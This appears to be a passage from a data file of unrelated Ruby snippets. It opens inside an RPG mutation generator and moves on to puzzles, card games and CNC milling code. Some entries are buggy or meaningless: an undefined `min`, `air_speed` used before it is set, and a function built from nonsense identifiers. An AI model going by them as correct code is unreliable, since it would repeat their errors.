(eye_stalks * d(6)), 1].max\n end\n\n stalked_eyes_mutation(d(100))\n\n when 887..892\n def stench_spray_location(roll) # Hub Rules p. 74\n case roll\n when 1..2\n location = \"Groin\"\n when 3..4\n location = \"Stomach\"\n when 5..6\n location = \"Chest\"\n when 7\n location = \"Left armpit\"\n when 8\n location = \"Right armpit\"\n when 9\n location = \"Back\"\n when 10\n location = \"Butt\"\n end\n\n stench_spray_app = (6 + d(6))\n @@primary_mutations << \"Stench Spray: #{20 + d(20) + d(20)} cm organ located on character's #{location}\"\n @@attacks << {:attack_mode => \"Stench Spray\", :SV => 10, :rate => 1, :range => (@@strength / 2), :damage => \"Special\", :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"74\", :notes => \"Endurance-based type B hazard check or d6 + 1 rds vomiting, +30SV to strike, -30SV to attack others.\"}\n @@character_notes << \"Character's appearance -#{stench_spray_app} penalty after stench organ seen.\"\n\n end\n\n stench_spray_location(d(10))\n\n when 893..901\n @@primary_mutations << \"Strength Burst: 2/rank/day, 4 rds/rank duration, character's strength 4x regular amount. Contributes to strength-based hazard checks, melee damage, etc.\"\n when 902..909\n def stun_ray_launcher(roll)\n case roll\n when 1..17\n stun_location = \"eyes\"\n when 18..59\n stun_location = \"left hand\"\n when 60..101\n stun_location = \"right hand\"\n end\n\n @@primary_mutations << \"Stun Ray fired from #{stun_location}.\"\n @@attacks << {:attack_mode => \"Stun Ray\", :SV => 10, :rate => 1, :range => (@@willpower * 2), :damage => \"2d20 stun, x2 vs machines\", :ammo => \"3/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"74\", :notes => \"Stun damage fades after 1 hour.\"}\n end\n\n stun_ray_launcher(d(101))\n\n when 910..924\n def tail_mutation(roll) # Hub Rules p. 74\n case roll\n when 1..2\n tail_type = \"Club\"\n tail_length = 1.5\n tail_agility_bonus = d(4)\n tail_move = -1\n tail_sv = 6\n tail_attack_dmg = \"d12 + 2 lethal or stun\"\n when 3\n tail_type = \"Crocodile\"\n tail_length = 1.7\n tail_agility_bonus = d(8)\n tail_move = -1\n tail_move_water = 4\n tail_sv = 5\n tail_attack_dmg = \"d12 stun\"\n when 4\n tail_type = \"Dolphin\"\n tail_length = 1.5\n tail_agility_bonus = d(6)\n tail_move = -1\n tail_move_water = 6\n tail_sv = 4\n tail_attack_dmg = \"d12 stun\"\n when 5\n tail_type = \"Eagle\"\n tail_length = 1\n tail_agility_bonus = d(6)\n tail_move = 1\n tail_sv = 0\n tail_attack_dmg = nil\n when 6\n tail_type = \"Fish\"\n tail_length = 1.3\n tail_agility_bonus = d(6)\n tail_move = -1\n tail_move_water = 5\n tail_sv = 4\n tail_attack_dmg = \"d10 stun\"\n when 7\n tail_type = \"Fox\"\n tail_length = 1.25\n tail_agility_bonus = (d(6) + d(6))\n tail_move = 1.5\n tail_sv = 0\n tail_attack_dmg = nil\n when 8\n tail_type = \"Cat\"\n tail_length = 1.5\n tail_agility_bonus = (d(8) + d(8))\n tail_move = 2\n tail_sv = 0\n tail_attack_dmg = nil\n when 9\n tail_type = \"Whip\"\n tail_length = (3 + d(4))\n tail_agility_bonus = d(6)\n tail_move = -0.25\n tail_sv = 4\n tail_attack_dmg = \"d8\"\n @@character_notes << \"Whip tail can be used as #{tail_length} rope.\"\n when 10..13\n tail_type = \"Prehensile (monkey)\"\n tail_length = 3\n tail_agility_bonus = (d(4) + d(4))\n tail_move = 1\n tail_sv = 0\n tail_attack_dmg = nil\n @@character_notes << \"Prehensile tail can wield dagger or knife for additional melee attack.\"\n when 14\n tail_type = \"Newt\"\n tail_length = 1.5\n tail_agility_bonus = d(8)\n tail_move = -1\n tail_move_water = 4\n tail_sv = 3\n tail_attack_dmg = \"d10 stun\"\n when 15\n tail_type = \"Porcupine\"\n tail_length = 0.75\n tail_agility_bonus = 0\n tail_move = -1\n tail_sv = 5\n tail_attack_dmg = \"d12 + 1\"\n when 16..17\n tail_type = \"Rat\"\n tail_length = 1.8\n tail_agility_bonus = d(6)\n tail_move = 0.5\n tail_sv = 0\n tail_attack_dmg = nil\n @@character_notes << \"Rat tail can wield dagger or knife for additional melee attack.\"\n when 18\n tail_type = \"Scorpion\"\n tail_length = 2\n tail_agility_bonus = d(6)\n tail_move = -1\n tail_sv = 8\n tail_attack_dmg = \"d12 + Type A poison\"\n when 19\n tail_type = \"Spiked\"\n tail_length = 1.75\n tail_agility_bonus = d(6)\n tail_move = -1\n tail_sv = 7\n tail_attack_dmg = \"d12 + 3\"\n when 20\n tail_type = \"Bladed\"\n tail_length = 2\n tail_agility_bonus = d(6)\n tail_move = -1\n tail_sv = 7\n tail_attack_dmg = \"d20\"\n end\n\n @@primary_mutations << \"Tailed: #{tail_type} tail of #{tail_length} m length.\"\n @@appearance += tail_agility_bonus\n @@movement_rate_base += tail_move\n @@movement_rate_swimming += tail_move_water\n if tail_attack_dmg != nil\n @@attacks << {:attack_mode => \"#{tail_type} tail strike\", :SV => tail_sv, :rate => 1, :range => tail_length, :damage => \"#{tail_attack_dmg}\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"74\", :notes => \"\"}\n end\n end\n\n tail_mutation(d(20))\n\n when 925..936\n @@primary_mutations << \"Telekinesis\"\n when 937..961\n @@primary_mutations << \"Telepathy\"\n when 962..967\n def tentacle_mutation(roll)\n case roll\n when 1..28\n number_of_tentacles = (d(4) + d(4) + 2)\n @@primary_mutations << \"Tentacles: Mutant has #{number_of_tentacles} instead of arms.\"\n when 29..100\n number_of_tentacles = (d(4) + d(4))\n @@primary_mutations << \"Tentacles: Mutant has #{number_of_tentacles} in addition to arms.\"\n end\n\n @@appearance = [@@appearance - (number_of_tentacles * 2), 1].max\n 2.times @@skills << \"Climbing\"\n @@character_notes << \"Tentacles add #{number_of_tentacles * 0.5} m to character's climbing & swimming move rates.\"\n @@character_notes << \"Tentacles can wield simple melee weapons but lack the dexterity needed to operate a keyboard, stringed, or triggered weapon.\"\n @@attacks << {:attack_mode => \"Tentacle strike\", :SV => 5, :rate => number_of_tentacles, :range => 0, :damage => \"d8 stun\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"75\", :notes => \"Tentacles gain unarmed combat modifiers, too.\"}\n end\n\n tentacle_mutation(d(100))\n\n when 968..975\n @@primary_mutations << \"Throwing Quills: fire 1/rd, up to 20/day\"\n @@dv -= 18\n @@character_notes << \"Due to quills, mutant cannot wear relic armor (except specially-designed junk or scrap relic armor)\"\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n @@attacks << {:attack_mode => \"Throwing Quill\", :SV => 6, :rate => 1, :range => (@@strength / 2), :damage => \"d10\", :ammo => \"20/day\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"76\", :notes => \"incl. strength and wpn expert skill modifiers\"}\n\n when 976..982\n def thrust_spike_mutation(roll)\n case roll\n when 1\n poison = \"type A death poison\"\n when 2..10\n poison = \"None\"\n end\n thrust_spike_length = (d(4) + d(4))\n @@primary_mutations << \"Thrust Spike #{thrust_spike_length} long.\"\n @@character_notes << \"After seeing thrust spike mutant's appearance score reduced for witness by d1- + 10.\" #obvious typo here\n if poison == \"None\"\n @@attacks << {:attack_mode => \"Thrust Spike\", :SV => 0, :rate => 1, :range => thrust_spike_length, :damage => \"d20\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"76\", :notes => \"+30SV, 2d20 + 10 damage on first attack.\"}\n elsif poison != \"None\"\n @@attacks << {:attack_mode => \"Thrust Spike\", :SV => 0, :rate => 1, :range => thrust_spike_length, :damage => \"d20\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"76\", :notes => \"+30SV, 2d20 + 10 damage on first attack. Also: #{poison}\"}\n end\n end\n\n thrust_spike_mutation(d(10))\n\n\n when 983..986\n @@primary_mutations << \"Tusks\"\n @@attacks << {:attack_mode => \"Tusk bite\", :SV => 6, :rate => 1, :range => 0, :damage => \"2d8 + 2\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"76\", :notes => \"Additional melee attack/rd.\"}\n @@appearance = [@@appearance - (d(8) + 2), 1].max\n when 987..992\n @@primary_mutations << \"Webbed Hands: character nearly impossible to drown & can hold breath 2x normal. Double swim speed.\"\n @@movement_rate_swimming += @@movement_rate_swimming\n\n when 993..1000\n def wings_mutation(roll1,roll2) # Hub Rules p. 76\n case roll1\n when 1\n wing_type = \"Bird\"\n air_speed += 6\n @@character_notes << \"Bird wings are fragile - this character suffers double damage from fire and burst radius explosives like grenades and bombs.\"\n when 2\n wing_type = \"Insect\"\n air_speed += 3\n @@character_notes << \"Due to insect wings, character has -2 MV in enclosed spaces.\"\n when 3..6\n wing_type = \"Bat\"\n end\n\n case roll2\n when 1\n wing_size = \"Tiny\"\n flight_mode = \"Glide only\"\n air_speed += (d(6) + 10)\n flying_dv = -5\n wing_attack_dmg = nil\n wing_weight = 6\n when 2\n wing_size = \"Small\"\n flight_mode = \"Flies poorly\"\n air_speed += (d(6) + 12)\n flying_dv = -10\n wing_attack_dmg = \"d4 stun\"\n wing_weight = 12\n when 3..4\n wing_size = \"Medium\"\n flight_mode = \"Flies normally\"\n air_speed += (d(6) + 15)\n flying_dv = -14\n wing_attack_dmg = \"d6 stun\"\n wing_weight = 20\n when 5\n wing_size = \"Large\"\n flight_mode = \"Flies normally\"\n air_speed += (d(6) + 20)\n flying_dv = -20\n wing_attack_dmg = \"d8 stun\"\n wing_weight = 30\n when 6\n wing_size = \"Vast\"\n flight_mode = \"Flies excellently\"\n air_speed += (d(10) + 25)\n flying_dv = -25\n wing_attack_dmg = \"d10 stun\"\n wing_weight = 40\n end\n\n @@primary_mutations << \"Wings: #{wing_size} #{wing_type} wings. Mutant #{flight_mode} at #{air_speed} MV and #{flying_dv} DV when airborne.\"\n @@movement_rate_flying += air_speed\n\n if wing_attack_dmg != nil\n @@attacks << {:attack_mode => \"Wing bash\", :SV => 0, :rate => 2, :range => 0, :damage => \"#{wing_attack_dmg}\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"76\", :notes => \"\"}\n end\n\n @@character_notes << \"Character able to fly at full air speed with full gear, arms, and armor. See Hub Rules p. 76 for more.\"\n @@character_notes << \"Due to wings, standard and relic armor must be modified and fitted to this character.\"\n\n\n end\n\n wings_mutation(d(6),d(6))\n\n end\nend","def champagne_tower(gp, qr, qc)\n pyramid = []\n (1..qr + 1).each do |i|\n pyramid << Array.new(i, 0)\n end\n pyramid[0][0] = gp\n (0..qr + 1).each do |r|\n (0..r + 1).each do |c|\n q = (pyramid[r][c] - 1.0) / 2.0\n if q > 0\n pyramid[r + 1][c] += q\n pyramid[r + 1][c + 1] += q\n end\n end\n end\n return min(1, pyramid[qr][qc])\nend","def full_pyramide\n\tputs \"*\" * 50\n\tputs\"Salut, Bienvenue dans ma pyramide\"\n\tputs \"Nous allons construire une pyramide au temps d'Egypte\"\n\tputs \"VCombien d'etage veux-tu?\"\n\tprint \"||>\"\n\n\tetage = gets.chomp.to_i\n\tbase = etage + (etage-1)\n\tbase1 = (base-1)/2 + 1\n i = 1\n \n\tetage.times do \n\n\t\tbase1.times do\n\t\t\tprint \" \"\n\t\tend\n\n\t\ti.times do\n\t\t\tprint \"#\"\n\t\tend\n\n\t\ti+= 2\n\t\tbase1 -= 1\n\t\tputs \" \"\n\tend\n\t\nend","def cracklepop1\n def aux x\n /[A-Z]+/i.match(x.to_s).to_s\n end\n (1..100).map do |i|\n x = i%3==0 ? 'crackle' : i\n i%5==0 ? (aux(x)+'pop') : x\n end\nend","def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend","def draw_letters\n compact_bag = {\n \"A\" => 9,\n \"B\" => 2, \n \"C\" => 2, \n \"D\" => 4, \n \"E\" => 12, \n \"F\" => 2, \n \"G\" => 3, \n \"H\" => 2, \n \"I\" => 9,\n \"J\" => 1, \n \"K\" => 1, \n \"L\" => 4,\n \"M\" => 2,\n \"N\" => 6,\n \"O\" => 8,\n \"P\" => 2, \n \"Q\" => 1, \n \"R\" => 6,\n \"S\" => 4, \n \"T\" => 6,\n \"U\" => 4,\n \"V\" => 2,\n \"W\" => 2,\n \"X\" => 1, \n \"Y\" => 2, \n \"Z\" => 1\n }\n expanded_bag = []\n compact_bag.each do |letters, number|\n number.times do \n expanded_bag << letters\n end\n end \n\n random = []\n\n 10.times do \n x = rand expanded_bag.length\n while random.include? x\n x = rand expanded_bag.length\n end\n random << x\n end\n\n hand = random.map {|number| expanded_bag[number]}\nend","def pronouncable_random(size=4)\n c = %w(b c d f g h j k l m n p qu r s t v w x z ch cr fr nd ng nk nt ph pr rd sh sl sp st th tr)\n v = %w(a e i o u y)\n f, r = true, ''\n (size * 2).times do\n r << (f ? c[rand * c.size] : v[rand * v.size])\n f = !f\n end\n return r\nend","def alg; end","def hole6\n [?A,*(?2..'10'),?J,?K,?Q].product([?C,?H,?S,?D]).map(&:join) + [?J,?J]\n # put your implementation in here, but please leave the comments above and at the 'end'\n\n end","def modified_cornacchia(d, p)\r\n\t\t# Case p == 2\r\n\t\tif 2 == p\r\n\t\t\treturn nil unless q = (d + 8).square?\r\n\t\t\treturn q, 1\r\n\t\tend\r\n\r\n\t\t# Test if residue\r\n\t\treturn nil if -1 == kronecker_symbol(d, p)\r\n\r\n\t\t# Compute square root\r\n\t\tx0 = mod_sqrt(d, p)\r\n\t\tx0 = p - x0 if 0 != x0 - d % 2\r\n\r\n\t\ta = p << 1\r\n\t\tb = x0\r\n\t\tl = isqrt(p << 2)\r\n\r\n\t\t# Euclidean algorithm\r\n\t\ta, b = b, a % b while b < l\r\n\r\n\t\t# Test solution\r\n\t\tc, r = (4 * p - b**2).divmod(-d)\r\n\t\treturn nil if 0 != r\r\n\t\treturn nil unless q = c.square?\r\n\t\treturn b, q\r\n\tend","def full_pyramide\n\tputs \"salut!bienvenue dans ma super pyramide!combien d'etage veux-tu?\"\n\ti=1 #1 zany n anombohan le i\n\tprint \">\"\n\tn= gets.chomp.to_i #n correspond le nbre de ligne de la pyramide\n\tputs\"voici la pyramide\"\n\tx=n #nbre de depart anle espace\n\tspace=\" \" #mamaritra n espace\n\twhile i<=n do #tant que i est inferieur ou egal n fait\n\tputs ((space * x)+(\"#\" * (i*2-1))) #rehefa te hahazo chiffre impaire de (i*2-1)\n\tx-=1\n\ti+=1\n\tend\nend","def draw_card\n @dwanted.each_with_index{|w,i|\n if w && (@dpile[i][-1] > (@land[i][-1]||0))\n @dpile[i].pop\n return [S.index(i)].pack(\"C\")\n end\n }\n @deckcount-=1\n \"n\"\n end","def pirates_say_arrrrrrrrr(string)\n new_string = \"\"\n add_next = false\n string.size.times do |index|\n current_char = string[index]\n new_string << current_char if add_next #if add next has been set true in previous loop, it will add the current character\n add_next = (current_char == \"r\" || current_char == \"R\") #will set the value of add_next var to true or false\n end\n new_string\nend","def play_like_a_dummy\r\n # very brutal algorithm , always play the first card\r\n card = @cards_on_hand.pop\r\n return card\r\n end","def remanet(concupiscibleness, torve_resack)\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\n antispadix_provencalize(galactophthysis, saintlike)\n japheth(auresca, squamatine, vitalist_pheal)\n end","def pythag_two()\n\ta = 1\n\tb = 2\n\tc = 1\n\tlist = []\n\tdora_will_be_a_good_doctor = []\n\twhile a <= 1000\n\t\tb = 1\n\t\twhile b <= 1000\n\t\t\ttemp_c = a**2 + b**2\n\t\t\t# dora_will_be_a_good_doctor << [a**2,b**2,temp_c]\n\t\t\t# p \"#{a},#{b},#{temp_c**0.5}\"\n\t\t\tif integerizer(temp_c**0.5) == true && summer([a,b,temp_c**0.5]) <= 1000\n\t\t\t\tdora_will_be_a_good_doctor << [a,b,temp_c**0.5].sort\n\t\t\tend\n\t\t\tb += 1\n\t\tend\n\t\ta += 1\n\tend\n\t# dora_will_be_a_good_doctor.each do |mowingdora_2|\n\t# \tif summer(mowingdora_2) <= 1000**2\n\t# \t\tlist << mowingdora_2\n\t# \tend\n\t# end\n\t# list.each do |mowingdora|\n\t# \tp mowingdora\n\t# \tif mowingdora[0]**2 + mowingdora[1]**2 == mowingdora[2] #&& integerizer((mowingdora[2]**0.5)) == true\n\t# \t\tdora_will_be_a_good_doctor << [mowingdora[0], mowingdora[1], mowingdora[2]**0.5]\n\t# \tend\n\t# end\n\t# p list\n\treturn dora_will_be_a_good_doctor\n\t# p list\nend","def pali_perm(str)\n hash = Hash.new(0)\n str.each_char {|ch| hash[ch] += 1 unless ch == ' '}\n odd = false\n hash.values.each do |value|\n if value % 2 == 1\n return false if odd\n odd = true\n end\n end\n true\nend","def straight\n is_straight? ? high_card : 0\n end","def hufflepuff(list)\nend","def palindrome_permutation(str)\n\nend","def rampant_repeats(s, h)\n s.chars.map do |c|\n if h[c]\n c * h[c]\n else\n c\n end\n end.join(\"\")\nend","def fly_by(lamps, drone)\n left = lamps[drone.length..-1]\n result = lamps.replace(\"o\" * drone.length)\n p result + left\nend","def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend","def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend","def cuddle\n attempt = [0, 1]\n hug = attempt.sample\n end","def play_like_a_dummy\r\n # very brutal algorithm , always play the first card\r\n #card = @cards_on_hand.pop\r\n #p @cards_on_hand.size\r\n card = @cards_on_hand[0]\r\n if card\r\n # check if the played card take something\r\n #@table_cards\r\n \r\n #@log.debug \"Alg: cards on table #{@table_cards}\"\r\n list = @core_game.which_cards_pick(card, @table_cards)\r\n #p \"which cards pick: card #{card}, table #{@table_cards.join(\",\")}, list #{list.size}\"\r\n result = [card, list[0]].flatten\r\n return result\r\n end\r\n raise \"Error cards on hand #{@cards_on_hand.join(',')}\" \r\n end","def mill_impeller_axel(pCent_x, pCent_y, mirrored=false, pBegZ=0, pEndZ=nil)\r\n # # # # # # # # # # # # # #\r\n if pEndZ == nil\r\n pEndZ = drill_through_depth\r\n end\r\n pEndZ = 0 - pEndZ.abs\r\n \r\n print \"(mill_impeller_axel pCent_x=\", pCent_x, \" pCent_y=\", pCent_y, \" pBegZ=\", pBegZ, \" pEndZ=\", pEndZ, \")\\n\"\r\n print \"(shaft_diam=\", shaft_diam, \")\\n\"\r\n \r\n # ensure that we do not exceed the bit flute length\r\n # for the 1/16 inch bit.\r\n if (mill.curr_bit.max_mill_depth.abs < pEndZ.abs)\r\n pEndZ = 0 - mill.curr_bit.max_mill_depth.abs\r\n end\r\n \r\n \r\n if (mill.curr_bit.flute_smaller_than_shaft == true) and (mill.curr_bit.flute_len.abs < pEndZ.abs)\r\n # If I have a bit with a flute that is smaller\r\n # than the shaft I can not mill any deeper than\r\n # the flute so automatically adjust the max\r\n # depth to match the flute\r\n print \"(bit flute is not long enough for axel hole and shaft is larger than flute so setting hole size to flute_len)\\n\"\r\n pEndZ = 0 - mill.curr_bit.flute_len.abs\r\n end\r\n \r\n \r\n if (shaft_type == \"D\")\r\n # Have to reset cutout_diam to reflect\r\n # the smaller bit. \r\n mill.retract()\r\n print \"(L445 - shaft_diam = \", shaft_diam, \")\\n\"\r\n mill_DDShaft(mill, x = pCent_x,y=pCent_y, diam=shaft_diam, beg_z=pBegZ, end_z= pEndZ, adjust_for_bit_radius=true, mirrored=mirrored)\r\n else # round axel \r\n if mirrored == true\r\n tcy = vmirror(pCent_y)\r\n else\r\n tcy = pCent_y\r\n end\r\n\r\n mill.retract() \r\n aCircle = CNCShapeCircle.new(mill) \r\n print \"(ZZZZZZZZZZZZ mill_impeller_axel pBegZ=\", pBegZ, \" pEndZ=\", pEndZ,\")\\n\"\r\n aCircle.beg_depth = pBegZ \r\n aCircle.mill_pocket(\r\n pCent_x, \r\n tcy, \r\n shaft_diam, \r\n pEndZ , \r\n island_diam=0)\r\n \r\n \r\n end # axel choice\r\n mill.retract()\r\n end","def mutation\r\n @population += @mutation.times.map do\r\n mask = 0\r\n 0.upto(@length-1) do |i|\r\n mask += 1<<i if rand < @flip\r\n end\r\n individual = @population[rand(@population.length)][:value]\r\n value = individual ^ mask\r\n # puts (\"%.#{@length}b\" % individual) + ' xor ' + (\"%.#{@length}b\" % mask) + ' --> ' + (\"%.#{@length}b\" % value)\r\n bear(value)\r\n end\r\n end","def take_bath\n #increment hygiene_points by 4\n #return string \"♪ Rub-a-dub just relaxing in the tub ♫\"..\n self.hygiene +=4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def prmutation(num)\n factrl(num)\nend","def diamond_full(x)\n 4.times do\n add_tip\n x.times do #Change length of side\n move\n turn_right\n move\n put_beeper\n turn_left\n end\n adjust_for_tip\n end\n end","def pirates_say_arrrrrrrrr(string)\n\n# Defines a method that takes one argument, a \"string\".\n\n to_return = \"\"\n\n# Creates a new variable and assigns it an empty string.\n\n add_next = false\n\n# Creates a new variable with a boolean value, which is initially set to 'false' as we will never add the first character (in this case 'R') to the output because the first character of any string never follows an 'r' or anything else!\n\n string.size.times do |index|\n\n# This calculates the string size and uses the returned value to loop the block of code that many times.\n\n# E.g. for \"Rare\" the string size is \"4\" so it will loop 4 times, i.e. over each character in the string.\n\n current_char = string[index]\n\n# Creates a new variable which is initially set to the value of the current character.\n\n# First iteration:\n# => current_char = \"R\"\n\n# Second iteration:\n# => current_char = \"a\"\n\n# etc\n\n to_return << current_char if add_next\n# Updates to_return with the current_char only if add_next evaluates to true.\n\n# First iteration:\n# => to_return << \"R\" if false\n# => do nothing because add_next is false;\n# => to_return is still \"\"\n\n# Second iteration:\n# => to_return << \"a\" if true\n# => add \"a\" to to_return because add_next is true\n\n# etc\n\n add_next = (current_char == \"r\" || current_char == \"R\")\n# Updates add_next to true or false.\n# add_next will update to true if the current character is either \"r\" or \"R\", otherwise it will remain false.\n\n# First iteration:\n# => add_next = (\"R\" == \"r\" || \"R\" == \"R\")\n# => add_next = (false || true)\n# => add_next = true\n\n# Second iteration:\n# => add_next = (\"a\" == \"r\" || \"a\" == \"R\")\n# => add_next = (false || false)\n# => add_next = false\n\n# etc\n\n end\n\n to_return\n\n# Returns the final value of the to_return variable.\n\nend","def build_down_card\n line = []\n line[0] = \"\"\n line[1] = \" o-------o\"\n line[2] = \" |~~~~~~~|\"\n line[3] = \" |~~~~~~~|\"\n line[4] = \" |~~~~~~~|\"\n line[5] = \" |~~~~~~~|\"\n line[6] = \" |~~~~~~~|\"\n line[7] = \" o-------o\"\n line[8] = \"\"\n line\nend","def build_down_card\n line = []\n line[0] = \"\"\n line[1] = \" o-------o\"\n line[2] = \" |~~~~~~~|\"\n line[3] = \" |~~~~~~~|\"\n line[4] = \" |~~~~~~~|\"\n line[5] = \" |~~~~~~~|\"\n line[6] = \" |~~~~~~~|\"\n line[7] = \" o-------o\"\n line[8] = \"\"\n line\nend","def palindrone_perm(string)\n char_hash = {}\n \n string.each_char do |char|\n if char == \" \"\n next\n else\n char = char.downcase\n end\n \n if char_hash[char]\n char_hash[char] += 1 \n else\n char_hash[char] = 1\n end\n end\n \n number_of_odds = 0\n \n char_hash.each do |key, value|\n if value % 2 != 0\n number_of_odds += 1\n end\n end\n \n return number_of_odds <= 1\nend","def flaw_mutations_determination(roll)\n case roll\n when 01..02\n @@flaw_mutations << \"Abnormal Anxiety\"\n when 03..04\n @@flaw_mutations << \"Altered Digestive Tract\"\n when 05..06\n @@flaw_mutations << \"Baldness\"\n when 07..17\n @@flaw_mutations << \"Birth Defect\"\n when 18..19\n @@flaw_mutations << \"Blocked Sinuses\"\n when 20..21\n @@flaw_mutations << \"Chronic Acne\"\n when 22..23\n @@flaw_mutations << \"Chronic Dermatitis\"\n when 24..25\n @@flaw_mutations << \"Chronic IngrownHairs\"\n when 26..27\n @@flaw_mutations << \"Chronic Ulcers\"\n when 28..29\n @@flaw_mutations << \"Coronary Thrombosis\"\n when 30..31\n @@flaw_mutations << \"Degenerated Nervous System\"\n when 32..33\n @@flaw_mutations << \"Dizziness\"\n when 34..35\n @@flaw_mutations << \"Early Menopause (females only)\"\n when 36..37\n @@flaw_mutations << \"Excessive Lung Fluid\"\n when 38..39\n @@flaw_mutations << \"Exhaustion\"\n when 40..41\n @@flaw_mutations << \"Extensive Warts\"\n when 42..43\n @@flaw_mutations << \"Extreme Halitosis\"\n when 44..45\n @@flaw_mutations << \"Faulty Immune System\"\n when 46\n @@flaw_mutations << \"Flammable Tissues\"\n when 47\n @@flaw_mutations << \"Hemophilia\"\n when 48..49\n @@flaw_mutations << \"Hormone Disorder\"\n when 50..51\n @@flaw_mutations << \"Inadequate Nerve Endings\"\n when 52\n @@flaw_mutations << \"Increased Aging\"\n when 53\n @@flaw_mutations << \"Increased Flatulence\"\n when 54..57\n @@flaw_mutations << \"Intense Allergy\"\n when 58..59\n @@flaw_mutations << \"Male Menopause (males only)\"\n when 60..61\n @@flaw_mutations << \"Migraine Headaches\"\n when 62..63\n @@flaw_mutations << \"Osteoporosis\"\n when 64..65\n @@flaw_mutations << \"Permanent Rhinitis\"\n when 66..67\n @@flaw_mutations << \"Perpetual Hiccups\"\n when 68..69\n @@flaw_mutations << \"Pre-Senile Dementia\"\n when 70..71\n @@flaw_mutations << \"Psoriasis\"\n when 72..73\n @@flaw_mutations << \"Reactionary Scent\"\n when 74\n @@flaw_mutations << \"Repeat Paralysis\"\n when 75\n @@flaw_mutations << \"Sonic Intolerance\"\n when 76..77\n @@flaw_mutations << \"Sterility\"\n when 78..79\n @@flaw_mutations << \"Tapeworms\"\n when 80..81\n @@flaw_mutations << \"Tooth Decay\"\n when 82..86\n @@flaw_mutations << \"Toxic Susceptibility\"\n when 87..88\n @@flaw_mutations << \"Tranquilizer Agent\"\n when 89..94\n @@flaw_mutations << \"Visual Disorder\"\n when 95..96\n @@flaw_mutations << \"Voice Disorder\"\n when 97..98\n @@flaw_mutations << \"Weeping\"\n when 99..00\n @@flaw_mutations << \"Whistle Croup\"\n end\n end","def diamond(i) # I hope I didn't name my variables\n spaces_toggle = -1 # the same as the instruction\n spaces = i/2 # This is MY algorithm !\n bling_toggle = 1\n bling = 1\n (i).times do\n spaces.times {print \" \"} \n bling.times {print \"*\"}\n spaces.times {print \" \"} \n print \"\\n\"\n spaces += 1 * spaces_toggle\n bling += 2 * bling_toggle\n if bling == i # Center of function\n bling.times {print \"*\"}\n print \"\\n\"\n spaces += 1\n bling -= 2\n spaces_toggle = 1\n bling_toggle = -1\n end\n end\nend","def ordv\n large = Array.new([0,0,0,0,0,0,0,0,0,1])\n (1..7830457).each do |n|# digit represents ,2^n\n passover = 0\n 9.downto(0).each do |i|\n large[i] *= 2\n large[i] += passover\n if large[i] >= 10\n large[i] %= 10\n passover = 1\n else\n passover = 0\n end\n end\n end\n (28433 * large.join.to_i + 1)%100000000000\nend","def ghost_mutations_determination(roll)\n case roll\n when 1..4\n @@ghost_mutations << \"Advanced Mind\"\n when 5..6\n @@ghost_mutations << \"Agony Sphere\"\n when 7..8\n @@ghost_mutations << \"Asphyxiation Zone\"\n when 9..10\n @@ghost_mutations << \"Aura of Protection\"\n when 11\n @@ghost_mutations << \"Breath Holding\"\n when 12..13\n @@ghost_mutations << \"Coma Inducement\"\n when 14..15\n @@ghost_mutations << \"Devastator Pulse\"\n when 16..17\n @@ghost_mutations << \"Displacement \"\n when 18..19\n @@ghost_mutations << \"Doom Sphere\"\n when 20..21\n @@ghost_mutations << \"Dread Zone\"\n when 22..23\n @@ghost_mutations << \"Earth Thump\"\n when 24..27\n @@ghost_mutations << \"Electrical Pulse\"\n when 28..30\n @@ghost_mutations << \"Electro MagneticPulse\"\n when 31..37\n @@ghost_mutations << \"Empathy\"\n when 38..41\n @@ghost_mutations << \"Energy Blade\"\n when 42..45\n @@ghost_mutations << \"Force Field\"\n when 46..51\n @@ghost_mutations << \"Heal Touch\"\n when 52..56\n @@ghost_mutations << \"Heat Pulse\"\n when 57..58\n @@ghost_mutations << \"Image Multiplication\"\n when 59..60\n @@ghost_mutations << \"Image Projection\"\n when 61..62\n @@ghost_mutations << \"Light Burst\"\n when 63..64\n @@ghost_mutations << \"Mental Mine\"\n when 65..67\n @@ghost_mutations << \"Mental Screen\"\n when 68..79\n @@ghost_mutations << \"Mind Crush\"\n when 80..81\n @@ghost_mutations << \"Mind Waste\"\n when 82..83\n @@ghost_mutations << \"Peeling Radius\"\n when 84..85\n @@ghost_mutations << \"Radiation Detection\"\n when 86\n @@ghost_mutations << \"Radioactive Pulse\"\n when 87\n @@ghost_mutations << \"Reserve Heart\"\n when 88..89\n @@ghost_mutations << \"Reserve Mind\"\n when 90\n @@ghost_mutations << \"Sonic Wave Radius\"\n when 91\n @@ghost_mutations << \"Stun Ray\"\n when 92..96\n @@ghost_mutations << \"Telekinesis\"\n when 97..00\n @@ghost_mutations << \"Telepathy\"\n end\nend","def sharp; 